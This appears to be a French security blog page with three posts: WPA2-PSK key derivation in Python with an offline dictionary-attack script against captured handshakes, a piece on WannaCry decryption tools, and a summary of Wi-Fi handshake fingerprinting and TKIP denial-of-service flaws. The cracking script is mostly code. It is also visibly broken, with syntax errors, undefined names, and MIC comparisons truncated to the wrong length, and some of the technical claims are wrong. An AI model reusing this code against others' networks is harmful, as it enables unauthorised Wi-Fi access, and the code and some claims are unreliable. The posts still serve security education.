post

Dérivation des clés WPA2 en Python

Que se passe t il vraiment lorsque vous connectez votre ordinateur ou votre smartphone à un réseau sans fil ?
Du point de vue du simple utilisateur, il suffit de cliquer sur un bouton pour ouvrir la connexion Wi-Fi puis d’attendre une fraction de seconde afin de pouvoir profiter d’une connexion internet sans-fil.
Dans cet article, nous allons justement étudier les processus mis en place lors de ces quelques secondes qui génèrent une connexion. Plus précisément nous allons nous concentrer sur les méthodes de dérivation des clés lors d’un handshake WPA2. Nous verrons ensuite comment écrire un script en python qui calcule les différents paramètres (PTK, PMK, MIC) de ce handshake.
Finalement nous coderons un petit programme qui implémente une attaque par dictionnaire sur une protection WPA2-PSK.
Je tiens à préciser que cet article est écrit à des fins purement éducatives, toute utilisation des scripts ou d’une partie des scripts fournis hors du cadre éducatif est à la seule responsabilité de l’utilisateur et je ne saurai être tenu pour responsable en cas d’utilisation illégale.
Il est bien entendu que les techniques présentées ci-dessous ne sont à tester que dans un environnement de laboratoire où vous êtes le propriétaire de chacun des appareils, toute utilisation hors du contexte de recherche scientifique serait jugée illégale dans la plupart des pays dont la France et vous exposerait inévitablement à des poursuites judiciaires.
Il existe de nombreux outils permettant de réaliser des attaques par dictionnaire sur du WPA2-PSK, le but des codes de cet article est de comprendre en détail les processus de dérivation des clés en codant notre propre outil.

Afin de bien comprendre ce qui se passe lors de la création d’une connexion sans fil nous allons étudier ce fichier de capture :
wpa2.eapol.cap
Ce fichier est celui fourni comme exemple dans la célèbre suite aircrack-ng. Il est composé, comme nous allons le voir, de seulement 4 trames capturées lors d’une connexion sans fil.

Comme on peut le voir sur cette capture d’écran de Wireshark , le SSID du point d’accès est « Harkonen ». Nous verrons par la suite que ce paramètre entre en compte dans les calculs de dérivation des clés.

Les quatre prochaines trames composent ce que l’on appelle le 4 way Handshake WPA.

I) LA TRAME BEACON
Les trames BEACON sont envoyées de manière périodique par les points d’accès sans fil afin de faire connaître leur présence aux périphériques avoisinants. De fait, lorsque l’on dissèque une trame BEACON on y découvre le nom du SSID. (exception faite des cas où le ssid est volontairement caché = hidden ssid)

II) Rappel sur le WPA2 4 way HANDSHAKE

MESSAGE 1
Le premier paquet du 4 way handshake possède un champs nommé WPA Key Nonce. Ce champs contient une clé WPA de 256 bit plus connue sous le nom de ANonce (Authenticator Number once). Ce ANonce est un nombre généré aléatoirement et qui va être utilisé afin de produire la PTK (Pairwise Transient Key ou clé transitoire). Cette dernière sera utilisée pour crypter les communications à venir entre le point d’accès et la station.

MESSAGE 2
La station qui a reçu le ANonce contenu dans le message 1 va pouvoir générer son propre SNonce. Elle a désormais toutes les informations nécessaires à la production de la PTK.
La fonction pseudo aléatoire de création de la PTK est la suivante :

PTK = PRF (PMK + ANonce + SNonce + AA + SA)

PRF = Pseudo Random Function
PMK = Pairwise Master Key
Anonce = celui du point d’accès envoyé en message 1
Snonce = celui de la station envoyé en message 2
AA = l’adresse MAC du point d’accès
SA = l’adresse MAC de la station

Voici comment se calcule la PTK en python :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# -*- coding: utf-8 -*-
# pour le calcul avec l'algorithme HMAC
import hmac
# pour la conversion des hex en binaire
from binascii import a2b_hex, b2a_hex
# pour le calcul de la PMK
from hashlib import pbkdf2_hmac, sha1, md5
 
# Fonction pseudo aléatoire de calcule de la PTK
# PTK = PRF (PMK + Anonce + Snonce + aa + sa)
# key : la PMK
# A   : b'Pairwise key expansion'
# B   : la concaténation de apMac, staMac, ANonce, SNonce
#       ex: mac1 mac2 nonce1 nonce2
#       de sorte que mac1 < mac2 et nonce1 < nonce2 # => cette fct renvoie la PTK
 
def PRF(key, A, B):
    #nombre de bits dans la PTK
    nByte=64
    i=0
    R=b''
    # chaque itération produit une valeur de 160 bits, nous en avons besoin de 512
    while(i <= ((nByte * 8 + 159) /160)):
        hmacsha1= hmac.new(key, A + chr(0x00).encode() + B + chr(i).encode(), sha1)
        R =R + hmacsha1.digest()
        i +=1
    return R[0:nByte]
 
# création des parametres pour le calcul de la PTK
# aNonce :     celui du 4 way handshake message 1
# sNonce :     celui du 4 way handshake message 2
# apMac  :     la mac du point d'accès
# staMac :     celle de la station
# return :     (A, B)
 
def MakeAB(aNonce, sNonce, apMac, staMac):
    A = b'Pairwise key expansion'
    B = min(apMac, staMac) + max(apMac, staMac) + min(aNonce, sNonce) +max(aNonce,sNonce)
    return (A, B)
 
# calcule du premier MIC (message integrity check) contenu dans le message 2
# pwd     :    le mdp a tester
# ssid    :    celui du point d'accès ici ce sera donc 'Harkonen'
# A       :    b'Pairwise key expansion'
# B       :    la concaténation de apMac, staMac, nonce1, nonce2
#              avec mac1 < mac2 et nonce1 < nonce2
# data    :    une liste de trame 802.1x avec le champs MIC à zéro
# return  :    (x, y, z) où x = MIC, y= PTK et z = PMK
 
def MakeMIC(pwd, ssid, A, B, data, wpa=False):
    # on créer la PMK 
    pmk=pbkdf2_hmac('sha1', pwd.encode('ascii'), ssid.encode('ascii'), 4096, 32)
    # pmk avec 4096 itérations de hmac-sha1 qui produise une valeur de 32 bits
    # on créer la PTK
    ptk = PRF(pmk, A, B)
    # l'algorithme de cryptage utilisé pour le WPA est le MD5 , pour le WPA2 c'est du sha1
    hmacFunc =md5 if wpa else sha1
    # enfin on créer les mics en utilisant les données HMAC-SHA-1 et retourne toutes les valeurs calculées
    mics=[hmac.new(ptk[0:16], i, hmacFunc).digest()  for i in data]
    return (mics, ptk, pmk)

Le code ci-dessus se base sur le calcul de la PMK avec une PSK. C’est ce que l’on nomme le WPA2-PSK (Pre Shared Key).
C’est la protection la plus répandue dans le secteur des box internet pour les particuliers. Si vous entrez un mot de passe d’au moins
8 caractères pour vous connecter à votre réseau sans-fil et bien il y a de fortes chances pour que vous utilisiez le WPA2-PSK ou le WPA-PSK.
Nous venons donc de voir comment en WPA2-PSK, la PMK est calculée à partir des fonction PBKDF2 et HMAC-SHA1.

C’est maintenant au tour de la station de répondre au point d’accès. Les deux composantes clés de ce second message sont :
– le SNonce de 256 bits
– le MIC de 128 bits.
Le SNonce est la dernière information qu’il manque au point d’accès pour générer sa PTK.
Le MIC, quant à lui, sert à vérifier que la station connaît bien la PTK et donc la PMK.

Voici une capture de la trame 2 avec le Snonce

Le ANonce et le SNonce sont des nombres générés aléatoirement afin de parer les attaques de « Replay ». Une attaque de Replay dans ce contexte consisterait pour un attaquant à essayer d’établir une connexion en rejouant les trames d’un 4 way handshake qu’il aurait capturé précédemment.
Nous avons vu que la PTK dépend du ANonce et du SNonce, et donc qu’elle change à chaque nouvelle connexion. Cette technique permet donc effectivement de lutter contre les attaques de ‘replay’.

Nous notons également qu’à cet instant aucune authentification n’est encore effectuée car aucune des deux parties ne peut vérifier que l’autre connaît la PMK. C’est le rôle du champs WPA Key MIC.

Le champs WPA Key MIC est calculé en prenant tous les champs 802.1x que l’on passe dans l’algorithme HMAC. Lors de la compilation, le champs MIC est composé uniquement de zéros.
On rappelle que pour le WPA la PRF c’est l’algorithme MD5 et pour le WPA2 c’est le SHA1. Etant donné que le MD5 produit une valeur de 128 bits et le SHA 1 160, seulement les 128 premiers bits seront écartés du ‘digest’. Ceci se fait en enlevant les 8 dernières valeurs hexadécimales.

Comme nous venons de le voir, le MIC ne peut être calculé que si la PTK (et donc la PMK) sont connus. En définissant ainsi le MIC, chaque partie peut vérifier que l’autre connaît bien la PMK sans jamais avoir à la transmettre. Un attaquant qui aurait écouté la totalité de ce 4 way handshake n’est donc pas en mesure de déterminer la PTK ou la PMK.

 

MESSAGE 3

Le troisième paquet du 4 way handshake ressemble au second. Il contient les champs WPA key MIC et WPA key Data. Le MIC va servir, comme nous l’avons vu, à identifier le point d’accès à la station. Au moment de la vérification du MIC, la station sait que le point d’accès possède la PTK et donc la PMK. En présumant que seul le point d’accès légitime connaît la bonne PTK et donc PMK, l’authenticité du point d’accès est donc confirmée. La méthode de calcul du second MIC est la même que la première.

Ce troisième paquet du 4 way handshake contient également la clé GTK (Group Temporal Key) qui sera utilisée pour crypter et décrypter les messages transmis en broadcast entre le point d’accès et tous ses clients. La GTK est cryptée à l’intérieur du champs WPA Key Data de ce troisième paquet.

MESSAGE 4
Le quatrième et dernier paquet du 4 way handshake est transmis de la station au point d’accès. Il sert de confirmation ‘acknowledgement’ pour le point d’accès qui est informé ainsi que la station a bien reçu les bonnes clés et que l’on peut donc commencer les communications cryptées. Enfin ce quatrième paquet contient un champs MIC calculé comme les précédents.

DERIVATION DES CLES WPA2 EN PYTHON
Le code précédent calculait les PTK,PMK, et MICs correspondants aux paquets capturés dans notre exemple. Le code Python qui suit va initialiser les variables dans les champs extraits des captures de paquets. Ensuite, les MICs, PTK et PMK sont calculés. Puis les PTK et PMK sont affichées et les MICs calculés sont comparés avec ceux des paquets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# test de calcul de PTK, PMK et MICs pour un 4 way handshake
def LanceTest():
    # la PSK = le mdp wifi
    psk="12345678"
    # le nom du ssid
    ssid="Harkonen"
    #ANonce
    aNonce=a2b_hex("225854b0444de3af06d1492b852984f04cf6274c0e3218b8681756864db7a055")
    #SNonce
    sNonce=a2b_hex("59168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659e07b3764b0de8570")
    # Mac du point d'accès
    apMac=a2b_hex("00146c7e4080")
    # Mac du client
    cliMac=a2b_hex('001346fe320c')
    # le premier MIC
    mic1="d5355382b8a9b806dcaf99cdaf564eb6"
    # la trame entière du second message avec le champs MIC à zéro
    data1=a2b_hex("0103007502010a0010000000000000000159168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659e07b3764b0de8570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020100")
    # le second MIC
    mic2="1e228672d2dee930714f688c5746028d"
    # la trame entière du troisième message avec le champs MIC à zéro
    data2=a2b_hex("010300970213ca00100000000000000002225854b0444de3af06d1492b852984f04cf6274c0e3218b8681756864db7a055192eeef7fd968ec80aee3dfb875e8222370000000000000000000000000000000000000000000000000000000000000000383ca9185462eca4ab7ff51cd3a3e6179a8391f5ad824c9e09763794c680902ad3bf0703452fbb7c1f5f1ee9f5bbd388ae559e78d27e6b121f")
    # le troisième et dernier MIC
    mic3="9dc81ca6c4c729648de7f00b436335c8"
    # la trame entière du troisième message avec le champs MIC à zéro
    data3=a2b_hex("0103005f02030a0010000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
    # création des paramètres pour produire les PTK, PMK et MICs
    A, B=MakeAB(aNonce, sNonce, apMac, cliMac)
    # on génère les clés PTK, PMK et les MICs
    mics, ptk, pmk=MakeMIC(psk,ssid,A, B,[data1, data2, data3])
    # on affiche la PMK
    pmkStr=b2a_hex(pmk).decode().upper()
    print("PMK:\t\t" + pmkStr +'\n')
    #affiche la PTK
    ptkStr=b2a_hex(ptk).decode().upper()
    print("PTK:\t\t" + ptkStr +'\n')
    # on affiche le MIC1 voulu et on le compare à la cible
    mic1Str=mic1.upper()
    print("MIC désiré :\t" + mic1Str)
    # on prend les 128 premiers bits du hash SHA-1 qui en comporte 160
    micStr=b2a_hex(mics[0]).decode().upper()[:8]
    print("LE MIC ACTUEL:\t" +micStr)
    print("CORRESPONDANCE:\n"  if micStr  == mic1Str else "DIFFERENCE\n")
    # affiche le mic2 et le compare avec celui souhaité
    mic2Str=mic.upper()
    print("MIC désiré :\t" + mic2Str)
    # les 128 premiers bits du hash SHA-1 de 160
    mic2Str=b2a_hex(mics[1]).decode().upper()[:8]
    print("MIC ACTUEL :\t" + micStr)
    print("CORRESPONDANCE:\n" if micStr == mic2Str else "DIFFERENCE\n")
    # affiche le mic3 et le compare avec celui souhaité
    mic3Str=mic3.upper()
    print("MIC désiré :\t" + mic2Str)
    # les 128 premiers bits du hash SHA-1 de 160
    mic3Str=b2a_hex(mics[2]).decode().upper()[:8]
    print("MIC ACTUEL:\t" + micStr)
    print("CORRESPONDANCE\n" if micStr == mic3Str else "DIFFERENCE\n")
    return

Si on lance le code ci-dessus, les calculs de PTK, PMK et Mics s’opèrent et étant donné que nous avons fourni le bon mot de passe PSK ‘123345678’ la correspondance des MICs est affichée.
Si vous changez le PSK, alors la correspondance n’est plus possible.
De fait on peut imaginer un petit script qui tenterait de deviner la PSK en calculant les PTK, PMK et MIcs et en les comparant à ceux choisis comme cible.

ATTAQUE PAR DICTIONNAIRE OFFLINE
Le code suivant va donc lire les PSK contenues dans un fichier texte (une PSK par ligne), calculer les PTK, PMK et MICs puis les comparer avec ceux du handshake choisi pour cible.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 
# teste une liste de mdp si le bon est trouvé on affiche à l'écran
# S:              la liste de mdp
# ssid:           le ssid du point d'accès
# aNonce:         le ANonce sous la forme d un byte Array
# sNonce:         le SNonce sous la forme d'un byte Array
# apMac :         adresse MAC du point d'accès
# cliMac :        adresse MAC de la station
# data :          la trame 802.1x du second message avec le champs MIC à zéro
# data2 :         la trame 802.1x du troisième message avec le champs MIC à zéro
# data3 :         la trame 802.1x du quatrième message avec le champs MIC à zéro
# targMic:        le Mic du message 2
# targMic2:       le Mic du message 3
# targMic3:       le Mic du message 4
 
def TestPwds(S, ssid, aNonce, sNonce, apMac, cliMac, data, data2, data3, targMic, targMic2, targMic3):
    # valeurs pré calculées
    A, B = MakeAB(aNonce, sNonce, apMac, cliMac)
    # on boucle dans la liste des mdp et on teste chacun d'entre eux
    for i in S:
        mic, _, _=MakeMIC(i, ssid, A, B, [data]
        v =b2a_hex(mic[0]).decode()[:8]
        # on sort de la boucle si çà ne correspond pas
        if(v != targMic):
            continue
        # on passe au second
        mic2, _, _=MakeMIC(i,ssid, A, B, [data2]
        v2=b2a_hex(mic2[0]).decode()[:8]
        if (v2 != targMic2):
            continue
        # on teste le dernier
        mic3, _, _=MakeMIC(i, ssid, A, B, [data3]
        v3=b2a_hex(mic3[0]).decode()[:8]
        if (v3 != targMic3):
            continue
        # arrivé ici tous les Mics correspondent aux cibles
        print("!!passport trouvé !!)
        print('MIC1 désiré:\t\t' + targMic)
        print('MIC1 calculé:\t\t' + v)
        print('\nMIC2 désiré:\t\t' + targMic2)
        print('MIC2 calculé:\t\t' + v2)
        print('\nMIC2 désiré:\t\t' + targMic3)
        print('MIC2 calculé:\t\t' + v3)
        print('MOT DE PASSE PSK :\t\t' + i)
        return i
    return Nonce
 
if __name__ =="__main__":
 
    RunTest()
    # lecture du fichier contenant les mdp PSK
    with open('pass.txt') as f:
        S=[]
        for l in f:
            S.append(l.strip())
    # le nom du ssid 
    ssid='Harkonen'
    #ANonce
    aNonce=a2b_hex('225854b0444de3af06d1492b852984f04cf6274c0e3218b8681756864db7a055')
    #SNonce
    sNonce=a2b_hex('59168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659e07b3764b0de8570')
    # adresse MAC du point d accès
    apMac=a2b_hex("00146c7e4080")
    # adresse MAC du client
    cliMac=a2b_hex('001346fe320c')
    # le premier MIC
    mic1="d5355382b8a9b806dcaf99cdaf564eb6"
    # la trame 802.1x entière du second message avec le champs MIC mis à zéro
    data1 = a2b_hex("0103007502010a0010000000000000000159168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659e07b3764b0de8570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020100")
    # le second MIC
    mic2="1e228672d2dee930714f688c5746028d"
    # la trame 802.1x entière du troisième message avec le champs MIC mis à zéro
    data2 = a2b_hex("010300970213ca00100000000000000002225854b0444de3af06d1492b852984f04cf6274c0e3218b8681756864db7a055192eeef7fd968ec80aee3dfb875e8222370000000000000000000000000000000000000000000000000000000000000000383ca9185462eca4ab7ff51cd3a3e6179a8391f5ad824c9e09763794c680902ad3bf0703452fbb7c1f5f1ee9f5bbd388ae559e78d27e6b121f")
    # le troisième MIC
    mic3 ="9dc81ca6c4c729648de7f00b436335c8"
    # la trame 802.1x entière du quatrième message avec le champs MIC mis à zéro
    data3 = a2b_hex("0103005f02030a0010000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
    # finalement on lance l'attaque par dictionnaire
    TestPwds(S, ssid, aNonce, sNonce, apMac, cliMac, data1, data2, data3, mic1, mic2, mic3)

Voilà un script qui permet donc de réaliser une attaque de dictionnaire sur une capture d’un WPA2-PSK 4 way Handshake.
Ce script peut néanmoins être amélioré pour qu’il soit plus pratique à utiliser. En effet vous avez remarqué que le valeurs des champs du 4 way handshake cible, sont codées « en dur ».
On peut donc imaginer une fonction qui aurait pour but de prendre un fichier de capture contenant un 4 way handshake (‘.pcap’) et d’en extraire les champs désirés.
Je rappelle que toute utilisation des codes de cet article dans un environnement où vous n’êtes pas le propriétaire des différents appareils mis en causes est illégale en France.

Wannakiwi vs WannaCry

Impossible de ne pas avoir entendu parlé du dernier ransomware qui sévit ces jours-ci sur la planète entière.
Avec plus de 900 000 PC infectés, sur 90 pays dans le monde, WannaCry détient pour l’instant le titre de l’attaque  » la plus importante jamais enregistrée sur Internet ».

Si son principe de fonctionnent reste classique : infection via email fishing, cryptage des fichiers de la victime, demande de rançon pour décrypter, les codes utilisés afin de déjouer les sécurités de Windows sont quant à eux livrés à une certaine polémique. En effet, plusieurs chercheurs en sécurité ont mis en évidence que ce ransomware utilisait un exploit créé par la NSA elle-même ! Autant vous dire que l’agence américaine se retrouve une fois de plus dans une situation délicate :
– Comment expliquer que cette agence gouvernementale se soit laissé voler de telles armes ?
– Comment se fait-il qu’ayant connaissance de telles failles elle n’ai pas directement averti les entreprises visées en l’occurrence Microsoft l’un des fleurons des entreprises américaines ?
– Quelle est finalement la responsabilité de la NSA dans cette attaque qui utilise une de ses armes ?
Nous laisserons toutes ces questions sans réponse, chacun est libre d’y voir son explication …ou pas !

La bonne nouvelle pour les utilisateurs de Windows et les victimes de ce terrible ransomware est qu’un chercheur français, Adrien Guidet, de la société Quarklab a trouvé un moyen pour retrouver la clé de cryptage utilisée par WannaCry. Et çà fonctionne sur Windows XP, 7,Vista, Windows Server 2008 & 2003

COMMENT FONCTIONNE LE CRYPTAGE DU RANSOMWARE ?
Lorsqu’il infecte une victime, WannaCry va créer une paire de clés de cryptage.
Une clé dite « publique » et une clé « privée ».
C’est le principe de la cryptographie asymétrique qui génère ces clés à l’aide de fonctions mathématiques basées sur la factorisation de très grands nombres premiers.
La clé publique va servir à crypter tous les fichiers de la victime, qui ne pourront être décryptés que par la clé secrète.
Afin que la victime ne puisse accéder à la clé secrète, WannaCry va tout simplement la supprimer du système, ainsi la victime n’a pas d’autre choix que de payer la rançon pour pouvoir obtenir cette clé secrète et décrypter ses fichiers.
C’est précisément sur ce dernier point que le chercheur français en sécurité, Adrien Guidet, a trouvé une faille.
En effet, il a constaté que WannaCry n’effaçait pas les nombres premiers (utilisés pour générer les clés) de la mémoire avant de libérer la mémoire associée.
Il a ensuite développé un outil de décryptage basé sur cette trouvaille. WannaKey va donc essayer de retrouver les deux nombres premiers utilisés lors de la création des clés. WannaKey ne fonctionne que pour XP, mais il existe un autre outil , WAnnaKiwi qui lui fonctionne aussi sur Windows 7.

COMMENT FONCTIONNE L’OUTIL ?
IL va rechercher le processus wcry.exe, responsable de la création de la clé privée RSA.
Sachant que CryptDestroyKey et CryptreleaseContext ne suppriment pas les nombres premiers de la mémoire avant de libérer la mémoire associée.
Ce qui signifie que cela fonctionne si :
-le pc victime n’a pas été redémarré après son infection
-la mémoire allouée n’a pas été supprimée par d’autres processus.

WANNAKIWI
Développé sur les base de WannaKey par Benjamin Delpy, WannaKiwi est plus simple d’utilisation.
Télécharger WannaKiwi ici et lancer le programme sur la machine infectée en utilisant la console de commande cmd.exe

Attention à ne pas s’extasier trop vite, si ces outils fonctionnent, ils peuvent aussi ne plus avoir accès aux nombres premiers si vous avez redémarré ou qu’un autre processus les a supprimé de la mémoire allouée. Il faudra donc compter sur un peu de chance.

Peace & Code

Découvertes de vulnérabilités dans le handshake Wi-Fi partie 3

Dernière partie d’articles sur les travaux récemment publiés par trois chercheurs de l’université de Leuven en Belgique et qui nous révèlent de nouvelles failles sur le protocole 802.11
Après avoir fait un rappel du fonctionnement d’un 4 ways handshake et après avoir exposé leurs méthodes de tests, nous allons enfin pouvoir connaître les résultats.

Premièrement, nous notons que les différentes implémentations du protocole WiFi ne réagissent pas de la même manière. Ce constat nous permet donc de faire des prises d’empreinte en fonction de ces comportements. Dans une seconde partie nous révéleront de nouvelles vulnérabilités puis nous termineront par analyser les failles typiques à certaines implémentations et leurs variations.

MÉCANISME DE PRISE D’EMPREINTES
La moindre différence dans la manière avec laquelle une certaine implémentation traite certains messages ou utilise certains champs peut être utilisée pour identifier cette implémentation.
Deux champs contenus dans les frame EAPOL, le champs ‘key info’ et le champs ‘descriptor type’, sont particulièrement utiles pour le ‘fingerprint’.
Afin d’identifier un appareil à l’aide de ces champs il faut d’abord être capable d’exécuter un handshake partiel avec l’appareil. Cela implique soit de posséder les identifiants permettant d’accéder au réseau ou qu’un cryptage sans authentification est supporté.
Par exemple, Hotspot 2.0 distribue du cryptage aux appareils non reconnus. De la même manière, dans un réseau d’entreprises par exemple « Eduroam », des appareils peuvent avoir accès au réseau sans être considérés comme fiables. Un attaquant peut donc exécuter un handshake WiFi avec un appareil cible. Il peut donc analyser la manière avec laquelle certaines frames EAPOL sont négociées afin d’en déduire l’implémentation.

FINGERPRINT AVEC LE DRAPEAU EAPOL-KEY INFO
La première remarque est que la plupart des vendeurs ont besoin ou interdisent certains drapeaux d’info lors du 4 ways handshake. Rappelons-nous que le champs key info d’une frame EAPOL contient 8 drapeaux de 1 bit. Normalement, ces drapeaux identifient les propriétés du message, ce qui nous informe sur les différentes étapes (frame) du handshake.
Les 8 drapeaux sont les suivants :
Pairwise
Install
Ack
Mic
Secure
Error
Requested
enCrypted

Ces drapeaux sont soit :
– nécessaires (requis)
– autorisés
– interdits
dans chaque message du handshake

Le tableau suivant contient le fingerprint de toutes les implémentations testées dans cette étude.

Tableau des drapeaux ‘key info flags’ requis, autorisés et interdits lors des envois par le client de frames EAPOL. Les caractères bleu sont spécifiques au WPA2.
Les caractères rouges au WPA1.

Notons tout d’abord que les implémentations faites par Telenet et Mediatek n’ont pas besoin de recevoir de message de groupe 2 (seulement présent en WPA1).
En ce qui concerne Broadcom et Hostapd, il y a une légère différence dans le traitement des drapeaux en fonction qu’on utilise du WPA1 ou du WPA2.
Broadcom requiert obligatoirement le drapeau Secure dans le message 4 en WPA2 alors qu’il n’est qu’optionnel si on utilise du WPA1.
De son côté, Hostapd interdit l’usage du drapeau Secure pour le message 2 avec du WPA1 et l’autorise si c’est du WPA2. Il est intéressant de noter que Hostapd va dé authentifier le client si on utilise du WPA1 et que le drapeau Secure est présent dans le message 2. Il aurait simplement pu ignorer le message comme il le fait pour les autres drapeaux interdits.
Notons également qu’Aerohive et Aironet sont les seules implémentations qui ont le même fingerprint en ce qui concerne les drapeaux du key info. Nous pouvons néanmoins les distinguer avec la méthode qui suit.
Pour toutes les implémentations le drapeau Pairwise doit être présent si et seulement si le message fait partie du 4 ways handshake.
Durant le group key handshake ce drapeau (Pairwise) est donc interdit.
Nous remarquons également que les messages 2 et 4 ont les mêmes séries de drapeaux requis et interdits dans plusieurs implémentations. Cela signifie que les drapeaux ne sont pas vérifiés pour savoir si on est en message 2 ou 4. C’est la présence ou l’absence d’un RSNE qui va faire la différence entre ces 2 messages. Dans un handshake normal il n’y a jamais de RSNE dans en message 4.

PRISE D’EMPREINTE AVEC EAPOL-KEY Descriptor Type
Nous allons nous concentrer ici sur le champs ‘descriptor type’ des frames EAPOL.
Ce champs devrait recevoir la valeur 2 si on utilise du WPA2 ou la valeur 254 pour du WPA1. En principe, ce champs détermine la disposition de la frame EAPOL qui va suivre. EN pratique, cette frame est identique que ce soit avec du WPA2 ou WPA1. On peut donc conclure que ces valeurs sont équivalentes dans la pratique. Néanmoins, toutes les implémentations ne traitent pas ces valeurs comme identiques. Certaines requiert le fait que la valeur corresponde au type de handshake exécuté, d’autres autorisent les deux valeurs et il y en a aussi qui autorisent toutes les valeurs. Le tableau suivant résume les comportements des diverses implémentations. Les différences de traitement de ce champs peuvent donc être utilisées pour distinguer (fingerprint) une implémentation.

a Désigne les handshakes WPA2, pour le WPA1 Hostapd n’autorise que la valeur 254

b Signifie que le message de groupe 2 n’est pas nécessaire pour conclure le handshake 

c Ces appareils ne supportant que le WPA2, le message de groupe 2 n’est jamais inclus.

Contre mesures pour les attaques DOS sur le TKIP
De nombreuses implémentations n’implémentent pas correctement la procédure de contre mesure sur le TKIP. Cette procédure est un mécanisme de défense dont le but est de protéger la vulnérabilité de l’algorithme MIC utilisé avec le TKIP. Bien que de meilleurs algorithmes d’intégrité de message furent présents lors de la création du TKIP ils ne furent pas utilisés car trop contraignant en terme de compatibilité avec les appareils anciens qui utilisaient le WEP. C’est donc un algorithme faible qui fut adopté (Michael). Afin d’atténuer les attaques actives contre Michael, une procédure de contre mesure est activé par le point d’accès lorsque deux frames contenant un mauvais MIC sont reçues en 1 minute. Cette procédure sort du réseau tous les clients qui utilisent TKIP, nettoie toutes les clés TKIP utilisées et désactive toutes les associations qui demandent du TKIP (pairwise ou group cipher suite). Lorsqu’un client reçoit une frame avec un mauvais MIC, il informe le point d’accès en lui envoyant un rapport d’echec du MIC. Ce rapport est une frame EAPOL avec les drapeaux Mic, Error et Request affichés. Le point d’accès traite un rapport d’échec de MIC de la même manière que si il reçoit une frame TKIP avec un mauvais MIC. Donc si il reçoit deux rapports d’échec MIC dans la minute il est censé activer la contre mesure TKIP. Les chercheurs ont découvert de nombreuses failles dans la manière avec laquelle les rapports d’échec de MIC sont gérés. Un attaquant peut pousser un client à envoyer un rapport d’échec MIC en capturant un paquet TKIP, le modifiant à la volée et l’injectant à nouveau. Ce type d’injection avec du CCMP nécessite d’avoir les bons identifiants.

Contre mesures TKIP impossibles
Avec un réseau qui n’accepte pas TKIP, les clients ne devraient jamais envoyer de rapport d’échec de MIC au point d’accès. Après tout, dans ce type de configuration il est impossible que le client reçoive une frame avec un mauvais MIC.
Néanmoins, Broadcom, Windows 10 et Aerohive acceptent les rapports d’échec MIC même si le réseau est exclusivement CCMP. Leur contre mesure va sortir tous les clients du réseau incluant ceux qui n’utilisent pas TKIP. De plus, Windows 10 et Aerohive refusent toutes les connexions durant cette procédure même si les demandes sont en CCMP. Cela implique qu’un attaquant peut rendre un réseau CCMP inutilisable pendant 1 minute en envoyant simplement 2 rapport d’échec de MIC. Bien que l’implémentation de Broadcom accepte les connexions qui sont en CCMP pendant la procédure de contre mesure, nous verrons dans le chapitre suivant qu’une autre vulnérabilité permet de bloquer tous les accès au réseau Broadcom. Ces découvertes sont quelque peu surprenantes du fait qu’on s’attende à ce que le point d’accès ignore simplement les rapports d’échec de MIC si TKIP est désactivé et de surcroit n’engage aucun procédure de contre mesure. Trois implémentations acceptent les rapport d’échec MIC durant le 4 ways handshake. Par exemple, au lieu d’envoyer un message 4, on peut envoyer un rapport d’échec de MIC au point d’accès. Plus encore, Windows 10 et OpenBSD bloquent de manière permanente toutes connexion une fois que la procédure de contre mesure est activée. Le résultat est donc une possibilité d’attaque DOS où l’attaquant peut faire tomber le réseau de manière permanente. Ce n’est qu’après avoir re démarrer les points d’accès Windows 10 et OpenBSD que les connexions sont à nouveau acceptées.

Broadcom : Contre mesure DOS
Le problème avec l’implémentation Broadcom est qu’elle accepte les rapports d’échec de MIC et initie une nouvelle période de contre-mesure même si une période de contre-mesure est déjà engagée. Si on abuse de ce comportement en multipliant les envoies de rapport d’échec de MIC on peut même arriver à tuer le point d’accès et à le rendre inopérant. Les chercheurs ont ainsi réussi à faire tomber un réseau de manière permanent en 10 secondes. La connectivité ne revenant qu’après avoir re démarrer le routeur.

Tableau représentant les différents comportements des appareils testés avec la contre mesure TKIP. La seconde colonne indique si oui ou non le point d’accès configuré à n’accepter que des connexions cryptées avec l’algorithme CCMP accepte tout de même des rapports d’échec de MIC (qui n’interviennent que avec TKIP). La troisième colonne indique si ce rapport d’échec peut être envoyé pendant le handshake et si oui avec quel message. Enfin la dernière colonne nous donne la durée pendant laquelle la procédure de contre mesure est mise en place.

OpenBSD: DOS permanent
OpenBSD est vulnérable aux attaques DOS dans les réseaux supportant TKIP. Le souci vient du fait que la procédure de contre mesure bloque de manière permanente toutes nouvelles connexions au lieu de le faire pendant 1 minute. Il suffit donc d’envoyer 2 messages de rapport d’échec MIC pour rendre inopérant le routeur OpenBSD. Là encore la connectivité revient après un re démarrage.

Attaque de downgrade en forgeant le message 4
